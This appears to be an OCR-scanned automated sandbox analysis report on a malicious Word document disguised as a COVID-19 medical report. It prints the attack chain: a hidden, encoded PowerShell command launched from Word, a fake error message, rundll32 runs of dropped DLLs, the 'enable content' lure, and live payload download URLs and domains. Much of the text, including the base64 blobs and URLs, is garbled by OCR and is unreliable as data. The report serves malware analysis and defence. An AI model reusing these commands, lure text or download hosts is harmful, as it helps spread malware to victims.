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Analysis Report XP-9743 Medical report COVID-19.doc

Overview
General Information Detection Classification
Sample XP-9743 Medical report

Name: COVID-19.doc Antivirus detection for URL or domain

Analysis ID: 338773 MALICIOUS Multi AV Scanner, detection for doma...

MDS: da92c55d4b0836.. Multi AV Scanner detection for subm...

SHA1L:

8ee3239cibSdd7d. Office document tries to convince Vvi...
SHA256: 137602cebf7c61f..

Snort IDS alert for network traffic (e....
Most interesting Screenshot:

System process connects to networ...

Creates processes via WMI

Document contains an embedded VB...

Document contains an embedded VB...

Encrypted powershell cmdline option...

Score: 100
Range: 0-100 Hides that the sample has been dow...
B el = s Whitelisted: ~ false Machine Learning detection for dropp...
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Confidence:  100%

Startup

= System is w7x64

. WINWORD.EXE (PID: 2336 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 1100 cmdline: cmd cmd /c m"s"g %username% /v Wo"rd exp”erien”ced an er”ror tryi*ng to op”en th”e fi*le. & p~owe”rs heMI" -w hi*dd"en -*e”nc IAAgACQ
AOABaAECAIAAgADOAIABbAHQAWQBWAGUAXQAO0ACIAewAyAHOAeWA1AHOAeWAWAHOAeWAXAHOAewAzZAHOAeWAOAHOAIGAtAGY AIAANAFQARQANACWAJWBLACA
AIWASACCAUWB5ACCALAANAGKAbWANACWAIWAUAEQASQBYAEUAQWBOAEBAUGBZACCALAANAFMAJIWAPADSAIAAGACAAIJABEADAAQWBXACAAPQAGAFSAVABZAHA
AZQBdJACgAIgB7ADIAfQB7ADEAQB7ADAAIQB7ADMAQB7ADQAFQAIACAALQBMACCACWBFAHIAdgBJAEMARQBQAG8AJWASACCAVABIAGOALgBUAEUAJAAUACC
ALAANAFMAWQBZzACCALAANAGKATgBOAGOAY QANACWAIWBUAEEARWBFAFIAJWAPACAAOWAJACQASYBIAHOAMWB5AGEAYQA9ACQARAALIADMARQAJGACSAIABDAGM
AaABhAHIAXQAOADYANAAPACAAKWAGACQAUJA3ADYAUAATACQARWASADMATWAIACYAIWBGACCAKWAOACCAMAANACSAIWAOAFY AJWAPACKAOWAGACAAKAAGACA
ARWBIAHQALQBWAGEACgBIJAEEAQYBSAGUAIAAOACIAOABaACIAKWAIAGCAIGAPACAAIAAIAHY AQQBSAFUAZQBPAE4AIAAPADOAOGAIAGMACGBFAGAAQQBIAFQ
AZQBEAGKAUgBgAGUAQWBOAGAAbWBSAHKAIgGAOACQASABPAEOARQAJACSAIAACACYAIWBOAESAIWATACJAIWBMACCAKWANAESAIWArACCcAagBsADQAOABIAHI
AIWAPACSAIWBOACCAKWAOACCASWBMAE4ACQANACSAIWBIADKAIWAPACSAKAANAHQAIWArACCAeQASACCAKQArACCAdAANACSAIWBLAEWAIWAPACOACYBIAHA
AbABBAGMAZQAJACAAKAANAHQASWANACSAIWBMACCAKQASAFSAQWBIAEEACgBAADKAMgAPACKAOWAKAFAANAAZAFCAPQAOACGAIWBVAFBAJWArACCAMgANACK
AKWANAFAAIWAPADSAIAAgACIAIAAGAGMAaABIAEWAZABPAFQAZQBNACAAVYBhAHIASQBBAEIADABFADOAZAAWAGMACQAJACAAKQAUAHYAY QBMAHUAZQABADO

AlgBzZAGAAZQBJAFUAUgBJAHQAYABZAHAAUgBPAHQAYABPAEMAbWBMACIAIAASACAAKAAOACCAVABSACCAKWANAHMAMQANACKAKWANADIAIJWAPADSAJABTADY
AMgBHADOAKAAOACCARWASACCAKWANADAAIWAPACSAIWBNACCAKQA7ZACQARAA2AHQACGB3ADAAMIAJADOAIAACACYAIWBTADKAIWATACCAMWANACKAKWANAEU
AIWAPADSAJABYADYAXWBNADOAKAANAEQAMWANACSAIWAWAFAAIWAPADSAJABHADYAY QBgAHYAOABKADOAJABIAESBATQBFACSAKAAOACCAeWAWACCAKWANAHO
ASWBJAGWANAALAGSACgANACSAIWB7ADAAIQBOAHEAIWArACgAIWBtADKAdABSACCAKWANADKAIWAPACSAIWB7ADAAFQANACKALQBMACAAIABBAEMASABhAHI
AXQA5ADIAKQArACQARAA2AHQACYB3ADAAMYArACYJAKAANACAAZ AANACSAIWBSACCAKQATrACCAbAANACKAOWAKAFY AMWALAFUAPQACACYAIWBTADUAJIWAIACC
AXWANACKAKWANAFUAIWAPADSAJABKAGKAJABVAGEAMgBIADOAKAACACCAdWBAAHgADQBBAHYAcWANACSAIWABACBALWBYAGUADQBIAGQAJWArACCAaQBpACE
AKWANAHMALGANACSAIWBJACCAKWANAGBAIWArACCADQAVAHQALWBNAGOAMYBYACBAQAANACSAIWB3ACCAKQArACgAIWBAAHGAIWArACCABQBbAHYAOJANACS
AIJWAVACBAYQB2AGEAIWAPACSAKAANAGQAbgANACSAIWBhAGAAIWAPACSAKAANAHMAY QANACSAIWBOACCAKQAIrACCAaQBUACCAKWAOACCALYBJACCAKWANAGS
AbQANACKAKWAOACCALWANACSAIWB3AHAAIWATACCALQBPAGAAYWANACKAKWANAGWAdQANACSAKAANAGQAZQANACSAIWBZACBAdWAVAEAAIWAPACSAIWB3ACC
AKWANAFOAJWArACgAJWB4ACCAKWANAGOAWWANACKAKWAOACCAdgABACBALWANACSAIWBZAGBABAANACSAIWBPAGMAbwWANACKAKWANAGAAIWATACgAIJWAUAHU
AcwANACSAIWAVAGEAbABSAGEAJWArACcAbQANACSAIJWAIAGMAeQANACKAKWAOACCAYWBSAGUAJWArACCALQAXAGMANAANACKAKWAOACCAZWBUACCAKWANACS
AZgA1ACCcAKQArACcAegAVACCAKWAOACCAQAANACSAIWB3AFOAIWAPACSAKAANAHGAIWArACCAbQBbACCAKWANAHYAOQAVACCAKWANACBAdwWB3AHCALGBYAGKACABhAHIAY
QB6AGKAIWArACcAbwBUACCAKWANAGKAIWArACCALQANACKAKWAOACCACgBhAGQAaQANACSAIWBVACCAKQArACCcAdAB2ACCAKWANACAAYWANACSAKAANAG8AD
QANACSAIWAVAHMADBWANACKAKWANAGYAJAANACSAKAANAGEAYWANACSAIWB1ACCAKQArACgAIWBSACCAKWANAGBAdQBzACBAIWAIACCARABaAHOALWANACKAK
WANRAEAAJWArACgAJWB3ACCAKWANAFOAeABtAFSAJWAPACSAKAANAHYAOgAVACCAKWANACBAIWAPACSAKAANAHCADWANACSAIWB3ACCAKQArACgAIWAUAGEAZ
WBYACCAKWANAGKAJWArACCcAYWBhAGOACAANACSAIWBIAGCAIWAPACSAKAANAGCAaQANACSAIWBVACCAKWANAGMAbwBYACCAKQArACgAIJWBOAGUAJWArACCAY
WBVAGOAbWANACKAKWANAHQAJAANACSAIJWBVACAAIWArACgAIWBpAHQAIWAIACCALWANACKAKWAOACCAdwBWACCAKWANACOAIWAPACSAKAANAGEAJWAIACCAZ
ABtACCAKQArACgAIWBpACCAKWANAGAAIWArACCALWBZADCAIJWArACCACAAXACBAQAB3AFOAIWArACCcAeABtAFSAIWAPACSAIWB2ACCAKWANAHMAOGANACSAIJWAVACBAIWA
rACcAdwB3ACCAKWANAHCAIWATACgAIWAUAHMAJABhAHIABAANACSAIWBPACCAKWANAGAAIWAPACSAKAANAGCAJABIAGMAaABZACAAYWBVAGOAIJWAIACCALWANACSAJWBHA
E4ATQANACSAIJWAVAEAAdWANACSAIWBAAHgADQBbAHYAIJWAPACSAKAANADOAIWATACCALWANACSAIWAVAGGAZQBSAGWAY QBZACCAKQArACYAIWALAGQAIWATA
CcAYQBYAGOACWANACSAIWBOAGEAZAANACSAIWBOACAAZAANACSAIWBIACCAKQArACCALWBJACCAKWAOACCAZWBPACOAYgBpAGAAIWAIACCALWBaACCAKQArACCAUWANACS
AKAANAGBAIWArACcAbWAVACCAKQAPAC4AIgBYyAEUACABSAEEAYABJAGUAIgAOACYAKAANAHCAXQBAAGOAIWATACCAWWANACKAKWANAHY AJWAPACWAKABDAGE
AcgByAGEAeQBdACgAKAANAGQACWANACSAKAANAGUAIWArACCAdwBMACCAKQAPACWAKAANAHCAZQANACSAKAANAHYAdwANACSAIWBIACCAKQAPACKALAAOACC
AYQBIACCAKWANAGYAZJANACKALAAOACCAaABOACCAKWANAHQACAANACKAKQBbBADIAXQAPACAAIgBTAGAAUABMAEKAJAAIACJAJABPADUAXWBZACAAKWAJACQ
ASgBIAHOAMWB5AGEAY QAgACSAIAAKAEWAXWAWAEMAKQA7ACQAVJAXADEAVJAIACIAIWBIACCAKWAOACCAXWALACCAKWANAEOAIWAPACKAOWBMAGBACYBIAGE
AYWBOACAAKAAKAEOABAASAHgAAWA3AGOAIABPAGAAIAAKAE0AaQBOAGBAY QAYAGUAKQB7AHQACB5AHSAKAAUACYAIWBOAGUAIWALACCAKWANAEBAYgBJAGU
AYWANACSAIWBOACCAKQAgAHMAWQBTAHQAZQBIACAATYBFAFQALYB3AEUAQYBDAEWASQBFAG4AVAAPACAAIGBKAGBAVWBYAE4AATABPAGEARABGAEKAYABMAEU
AlgAOACQATQBsADKAeAB3ADCcAbQASACAAJABHADYAYQBJAHYAOABKACKAOWAKAEOAMAA2AESAPQA0ACGAIWBBACCAKWANADUAMQANACKAKWANAEIAJWAPADS
ASQBMACAAKAAOACYAKAANAECAZQANACSAIWBOACOASQBOACCAKWANAGUADBQANACKAIAAKAECANGBhAGOAdgA4AGQAKQAUACIADABJAEUATGBHAHQASAAIACA
ALQBNAGUAIAAZADAANAAOADCAKQAGAHSAIGAOACCACGANACSAIWBIAGAAIWArACCAZABSAGWAMWAYACCAKQAJACQARWA2AGEAagB2ADgAZAASACYJAKAANAFM
AaAANACSAIWBVACCAKQAIACgAIWB3ACCAKWANAEQAaQANACSAIWBhAGWABWANACKAKWANAGCAQQANACKALgAIAHQAYABVAFMAVABYAGAASQBUAECAIgAOACK
AOWAKAFCANQAYAEOAPQAOCACYAIWBPADEAJWArACCAOQANACKAKWANAFIAIWAPADSAY gByAGUAY QBrADsAJABLADgAMQBBADOAKAANAEUAIWArACgAIWA3ACC
AKWANADQARAANACKAKQBIAHOAYWBhAHQAYWBOAHSAFQBIACQAUWALADIATGAIACIAIWBZADCAIWArACCAMIBTACCAKQA= MD5:
5746BD7E255DD6ABAFA06F7C42C1BA41)
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e [ msg.exe (PID: 2572 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e E3F powershell.exe (PID: 2552 cmdline: powershell -w hidden -enc IAAGACQAOABaAECAIAAGADOAIABbAHQAWQBWAGUAXQAOACIAewAyAHOAewA1AHOAewAW
AHOAewAXAHOAewAzAHOAeWAOAHOAIgAtAGYAIAANAFQARQANACWAIWBIACAAIWASACCAUWBSACCALAANAGKABWANACWAIWAUAEQASQBYAEUAQWBOAESBAUgBZ
ACCALAANAFMAJIWAPADSAIAAGACAAIJABEADAAQWBXACAAPQAJAFSAVABZAHAAZQBIACYAIgB7ADIAfQB7ADEAfQB7ADAAQB7ADMAQB7ADQAFQAIACAALQBM
ACCcAcWBFAHIAdgBJAEMARQBQAG8AIWASACCAVABIAGOALYBUAEUAJAAUACCALAANAFMAWQBZACCALAANAGKATGBOAGOAY QANACWAIWBUAEEARWBFAFIAJWAD
ACAAOWAGACQASYBIAHOAMWB5AGEAYQA9ACQARAALIADMARQAJGACSAIABbAGMAaABhAHIAXQAOADYANAAPACAAKWAGACQAUGA3ADYAUAA7TACQARWASADMATWAY
ACgAIWBGACCAKWAOACCAMAANACSAIWAOAFYAIWAPACKAOWAGACAAKAAGACAARWBIAHQALQBWAGEACYBIJAEEAQYBSAGUAIAAOACIAOABaACIAKWAIAGCAIgAP
ACAAIAAtAHYAQQBSAFUAZQBPAE4AIAApADOAOgAIAGMACYBFAGAAQQBJAFQAZQBEAGKAUgBJAGUAQWBOAGAAbWBSAHKAIGAOACQASABPAEOARQAGACSAIAAD
ACgAIWBOAESAIWArACgAIJWBMACCAKWANAESAIWArACcAagBsADQAOABIAHIAIJWAPACSAIWBOACCAKWAOACCASWBMAE4ACQANACSAIWBIADKAIJWAPACSAKAAN
AHQAJIWArACcAeQA5ACCAKQAIrACCAdAANACSAIWBLAEWAIWAPACOACBIAHAABABBAGMAZQAGACAAKAANAHQASWANACSAIWBMACCAKQASAFSAQWBIAEEACcgBd
ADKAMgApPACKAOWAKAFAANAAZAFCAPQAOACIAIWBVAFBAIWAIACCAMJANACKAKWANAFAAIWAPADSAIAAgACIAIAAGAGMAaABIAEWAZABPAFQAZQBNACAAVgBh
AHIASQBBAEIADABFADOAZAAWAGMACQAgACAAKQAUAHYAY QBMAHUAZQABADOAIgBZAGAAZQBJAFUAUGBIAHQAYABZAHAAUGBPAHQAYABPAEMABWBMACIAIAA9
ACAAKAAOACCAVABSACCAKWANAHMAMQANACKAKWANADIAIWAPADSAJABTADgAMgBHADOAKAAOACCARWASACCAKWANADAAIWAPACSAIWBNACCAKQA7TACQARAA2
AHQACgB3ADAAMgAJADOAIAACACYAIWBTADKAIWArACCAMWANACKAKWANAEUAIWAPADSAJABYADY AXWBNADOAKAANAEQAMWANACSAIWAWAFAAIWAPADSAJABH
ADYAYQBGAHYAOABKADOAJABIAEBATQBFACSAKAAOACCAeWAWACCAKWANAHOASWBIAGWANAA4AGSACgANACSAIWB7ADAATQBOAHEAIJWArACgAIJWBIADKAJABS
ACCAKWANADKAIWAPACSAIWB7ADAATQANACKALQBMACAAIABBAEMASABhAHIAXQASADIAKQArACQARAA2AHQACYB3ADAAMYArACYAKAANACAAZAANACSAIWBS
ACCAKQArACCAbAANACKAOWAKAFYAMWALIAFUAPQAOACGAIWBTADUAIWArACCAXWANACKAKWANAFUAIJWAPADSAJABKAGKAdABVAGEAMgBIADOAKAAOACCAdwB
AHgAbQBbAHYACWANACSAIWABACBALWBYAGUAbQBIAGQAJIWAIrACCAaQBPACCAKWANAHMALGANACSAIWBJACCAKWANAGBAIWArACCADQAVAHQALWBNAGOAMgBY
ACBAQAANACSAIWB3ACCAKQArACgAIWBAAHgAIWArACCADQBBAHYAOGANACSAIJWAVACBAY QB2AGEAIWAPACSAKAANAGQADgANACSAIWBhAGAAIWAPACSAKAAN
AHMAYQANACsAJWB0OACCAKQArACcAaQBUACCAKWAOACCALGBJACCAKWANAGBAbBQANACKAKWAOACCALWANACSAIWB3AHAAIWATACCALQBPAGAAYWANACKAKWAN
AGWAdQANACSAKAANAGQAZQANACSAIWBZACBAdWAVAEAAIWAPACSAIWB3ACCAKWANAFOAIWArACgAIWBAACCAKWANAGOAWWANACKAKWAOACCAdgABACBALWAN
ACsAJwBzAG8AbAANACsAIWBpAGMAbwANACKAKWANAGAAIWArACgAIWAUAHUACWANACSAIJWAVAGEAbBABSAGEAIWArACCABQANACSAIWAAGMAeQANACKAKWAO

ACcAYWBSAGUAIWArACcALQAXAGMANAANACKAKWAOACCAZWBUACCAKWANACBAZgALACCAKQAIrACcAegAVACCAKWAOACCAQAANACSAIWB3AFOAIWAPACSAKAAN
AHgAIWArACcAbQBbACCAKWANAHYAOgAVACCAKWANACBAdWB3AHCALgBYAGKACABhAHIAY QBBAGKAIWArACcAbwBUACCAKWANAGKAJWArACCALQANACKAKWAO
ACcAcgBhAGQAaQANACSAIWBVACCAKQAIACCAJAB2ACCAKWANACAAYWANACSAKAANAGBADQANACSAIWAVAHMABWANACKAKWANAGYAdAANACSAKAANAGEAYWAN
ACsAIWB1ACCAKQArACgAIWBSACCAKWANAGBAdQBzACBAIWAIACCARABaAHOALWANACKAKWANAEAAIWATACgAIWB3ACCAKWANAFOAeABIAFSAJWAPACSAKAAN
AHYAOQAVACCAKWANACBAJWAPACSAKAANAHCAAWANACSAIWB3ACCAKQArACgAIJWAUAGEAZWBYACCAKWANAGKAIWArACCAYWBhAGOACAANACSAIJWBIAGCAIWAD
ACsAKAANAGCcAaQANACSAIWBVACCAKWANAGMAbwBYACCAKQArACgAIWBOAGUAIWArACCcAYwWBVAGOAbwANACKAKWANAHQAJAANACSAJWBVACAAIWArACgAIWBp
AHQAJIWArACcALWANACKAKWAOACCcAdwBWACCAKWANACOAIWAPACSAKAANAGEAIWArACCAZABIACCAKQATrACgAIWBpACCAKWANAGAAIWATACCALWBZADCAIWAT
ACCcACAAXACBAQAB3AFOAJWArACCcAeABtAFSAIJWAPACSAIWB2ACCAKWANAHMAOGANACSAIWAVACBAIWArACCAdwB3ACCAKWANAHCAIWATACgAIJWAUAHMAJABHh
AHIAbAANACSAIWBPACCAKWANAGAAIWAPACSAKAANAGCAJABIAGMAaABzACAAYWBVAGOAIWAIrACCALWANACSAJWBHAE4ATQANACSAIWAVAEAADWANACSAIWB
AHgAbQBbAHYAJWAPACSAKAANADOAIJWAIACCALWANACSAIWAVAGIAZQBSAGWAY QBZzACCAKQArACgAIWAIAGQAIWArACCAY QBYAGOACWANACSAIWBOAGEAZAAN
ACsAJWBOAC4AZAANACSAIWBIACCAKQArACCALWBJACCAKWAOACCAZWBPACOAYgBpAGAAIWArACCALWBaACCAKQATACCAUWANACSAKAANAGBAIJWArACCcAbwAY
ACCAKQApPAC4AIgBYAEUACABSAEEAYABJAGUAIGAOACJAKAANAHCAXQBAAGOAIWAIACCAWWANACKAKWANAHY AJWAPACWAKABBAGEACYBYAGEAeQBAACgAKAAN
AGQACWANACSAKAANAGUAJIWATrACCAdWBMACCAKQAPACWAKAANAHCAZQANACSAKAANAHY AAWANACSAIWBIACCAKQAPACKALAAOACCAY QBIACCAKWANAGYAZgAN
ACKALAAOACCAaABOACCAKWANAHQACAANACKAKQBDADIAXQAPAC4AIgBTAGAAUABMAEKAJAAIACJAJABPADUAXWBZACAAKWAJACQASYBIAHOAMWBSAGEAY QAg
ACSAIAAKAEWAXWAWAEMAKQA7ACQAVgAXADEAVJAIACGAIWBIACCAKWAOACCAXWALACCAKWANAEOAIWAPACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAEOADAAS
AHgAdWA3AGOAIABPAGAAIAAKAE0AaQBOAGBAY QAYAGUAKQB7AHQACYB5AHSAKAAUACYAIWBOAGUAJWAIACCAKWANAEBAYgBJAGUAYWANACSAIWBOACCAKQAY
AHMAWQBTAHQAZQBtAC4ATgBFAFQALYB3AEUAQYBDAEWASQBFAGAAVAAPACAAIGBKAGBAVWBYAE4ATABPAGEARABGAEKAYABMAEUAIgGAOCACQATQBSADKAeAB3
ADCcAbQASACAAJABHADYAYQBGAHYAOABKACKAOWAKAEOAMAA2AESAPQAOACYAIWBBACCAKWANADUAMQANACKAKWANAEIAIJWAPADSASQBMACAAKAAOACYAKAAN
AECAZQANACSAIJWBOACOASQBOACCAKWANAGUADBQANACKAIAAKAECANGBhAGOAdgA4AGQAKQAUACIADABJAEUATYBHAHQASAAIACAALQBNAGUAIAAZADAANAAD
ADCAKQAgAHSAJgGAOACCACGANACSAIWBIAGAAIWATACCAZABSAGWAMWAYACCAKQAGACQARWA2AGEAagB2ADgAZAASACgAKAANAFMAaAANACSAIWBVACCAKQAr
ACgAIWB3ACCAKWANAEQAAQANACSAIWBhAGWAbBWANACKAKWANAGCAQQANACKALGAIAHQAYABVAFMAVABYAGAASQBUAECAIgGAOACKAOWAKAFCANQAYAEOAPQAOD
ACgAIWBPADEAJWArACCAOQANACKAKWANAFIAIWAPADSAYgBYAGUAY QBrADSAJABLADgAMQBBADOAKAANAEUAIWATACgAIWA3SACCAKWANADQARAANACKAKQBI
AHOAYWBhAHQAYWB0AHSAfQBIACQAUWALADIATgAIACIAIWBZADCAIWArACCAMYBTACCAKQA= MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2332 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kjl48kr\Ngm9ty9\S93E.dIl ShowDialogA MD5:
DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2760 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\K|l48kr\Ngm9ty9\S93E.dIl ShowDialogA MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2732 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Giyrh\pugu.vsm',ShowDialogA MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1980 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Ivtnyoggxjx\ctmhexvkrv.xdn',ShowDialogA MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2724 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Pvbzatsazzovzkv\hcdstjffkhswof.tvm',ShowDialogA
MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2500 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Ipdtn\rmgx.ktd',ShowDialogA MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1776 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Wxiibgduobebnp\hfpumnmgeezpt.jsh’,Sh
owDialogA MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2808 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Ndsevdxfleyh\dktakeexwon.agz',ShowDi
alogA MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3068 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Fmtjatw\czosow.gcn',ShowDialogA
MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 3012 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Udumexhq\tqgkgid.sqp',Show
DialogA MD5: 51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches
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Sigma Overview

System Summary: | |

Signature Overview

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

® Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection

g

Click to jump to signature section

AV Detection: | |

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file

Networking: | |

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System Summary:

=

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Data Obfuscation:

Persistence and Installation Behavior:
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Hooking and other Techniques for Hiding and Protection:

= ‘]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Com
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and (
Valid Windows Path Process Masquerading oS Security Software Remote Archive Exfiltration Over Other  Encry
Accounts Management Interception  Injection Credential ~ Discovery Services Collected  Network Medium Chan
Instrumentation Dumping Data
Default Command and Boot or Boot or Logon Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Data from  Exfiltration Over Ingre
Accounts Scripting Logon Initialization Evasion Memory Evasion Desktop Removable Bluetooth Trans
Interpreter Initialization  Scripts Protocol Media
Scripts
Domain Scripting Logon Script Logon Script Disable or Modify Security Process Discovery SMB/Windows Data from Automated Exfiltration Non-
Accounts (Windows)  (Windows) Tools Account Admin Shares Network Appli
Manager Shared Layel
Drive Proto
Local Exploitation for Client Logon Script Logon Script Process NTDS Remote System Distributed Input Scheduled Transfer Appli
Accounts Execution (Mac) (Mac) Injection Discovery Component  Capture Layel
Object Model Proto
Cloud PowerShell Network Network Logon  Deobfuscate/Decode LSA File and Directory SSH Keylogging Data Transfer Size Fallbi
Accounts Logon Script Script Files or Information Secrets Discovery Limits Chan
Replication  Launchd Rc.common Rc.common Scripting Cached System Information VNC GUI Input  Exfiltration Over C2 Multit
Through Domain Discovery Capture Channel Comi
Removable Credentials
Media
External Scheduled Task Startup Startup Items Hidden Files and DCSync Network Sniffing Windows Web Portal Exfiltration Over Comi
Remote Items Directories Remote Capture Alternative Protocol Used
Services Management
Drive-by Command and Scheduled  Scheduled Obfuscated Filesor  Proc Network Service Shared Credential Exfiltration Over Appli
Compromise Scripting Interpreter  Task/Job Task/Job Information Filesystem Scanning Webroot API Symmetric Encrypted Layel

Hooking Non-C2 Protocol

Exploit PowerShell At (Linux) At (Linux) RundlI32 letc/passwd System Network Software Data Exfiltration Over Web
Public- and Connections Deployment  Staged Asymmetric Encrypted

Facing letc/shadow Discovery Tools Non-C2 Protocol

Application

Supply AppleScript At At (Windows) File Deletion Network Process Discovery Taint Shared  Local Data Exfiltration Over File T
Chain (Windows) Sniffing Content Staging Unencrypted/Obfuscated Proto
Compromise Non-C2 Protocol

Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Hide Legend
Legend:
Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

@+ EBO0C]

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

L@ 2 )

e
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Wi 9 - 0= XP-9743 Medical report COVID-19 [Compatibility Mode] - Microsoft Word

Home Insert Page Layout References Mailings Review View

& cut = A x| As : S % @4 Find ~
Ba Copy A 4 = 4 aasbceDe AaBbcede AaBb( AaBbC AaBb( AaBbcel #_ Replace
2 4 1 Nort 1M " e L e Ch
o Format painter | B 4 U 7 abe x. X 5 Normal T No 9l  Heading Title subtitle Chance [ e
Clipboard & Font Paragraph

Editing

Paste

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

‘You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Page:1 of1 | Words: 12 | I~ ‘

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files
Source Detection Scanner Label Link
Unpacked PE Files

Source Detection Scanner Label Link Download
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https://www.virustotal.com/gui/file/137602cebf7c61fe1bb6647160167813271afbd74a52fcccf03a0ad590a9ef61/detection/f-137602cebf7c61fe1bb6647160167813271afbd74a52fcccf03a0ad590a9ef61-1610479785

Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
remediis.com 2% Virustotal Browse
avadnansahin.com 2% Virustotal Browse
URLs

Source Detection Scanner Label Link
hitp://avadnansahin.com 2% Virustotal Browse
hitp://avadnansahin.com 0% Avira URL Cloud safe

[ e - 1 5 ) I ET- N
e - e e ) IO

hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://https://remediis.comp 0% Avira URL Cloud safe

[ e e R 1 5 ) I =N
[ - 0 ) ) IO

hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp:/favadnansahin.com/wp-includes/w/ 0% Avira URL Cloud safe
hitp://\www.agricampeggiocortecomotto.it/wp-admin/s7p1/ 0% Avira URL Cloud safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t 0% URL Reputation safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t 0% URL Reputation safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://https://remediis.com 0% Avira URL Cloud safe
hitp://iwww.riparazioni-radiotv.com/softaculous/DZz/ 0% Avira URL Cloud safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://https://www.starlingtechs.com/GNM/ 0% Avira URL Cloud safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://69.49.88.46/fumwyj93myhz6vi/3lptbz7/e6hgkyw77ui/dujy6/2toe6agef56s/cxrwnsagx/ 0% Avira URL Cloud safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp://https://remediis.com/t/gm2X/ 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
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https://www.virustotal.com/gui/url/90c83e8fbf19055b146d1935df7d2ca51bd2f56898be45ec2c1cdc23315bbd98/detection/u-90c83e8fbf19055b146d1935df7d2ca51bd2f56898be45ec2c1cdc23315bbd98-1610479022
https://www.virustotal.com/gui/url/fea04cc9a681357d8a9d667f9da42a81db1fa9e666e8f8811f177d1efc84049d/detection/u-fea04cc9a681357d8a9d667f9da42a81db1fa9e666e8f8811f177d1efc84049d-1610479023
https://www.virustotal.com/gui/url/fea04cc9a681357d8a9d667f9da42a81db1fa9e666e8f8811f177d1efc84049d/detection/u-fea04cc9a681357d8a9d667f9da42a81db1fa9e666e8f8811f177d1efc84049d-1610479023
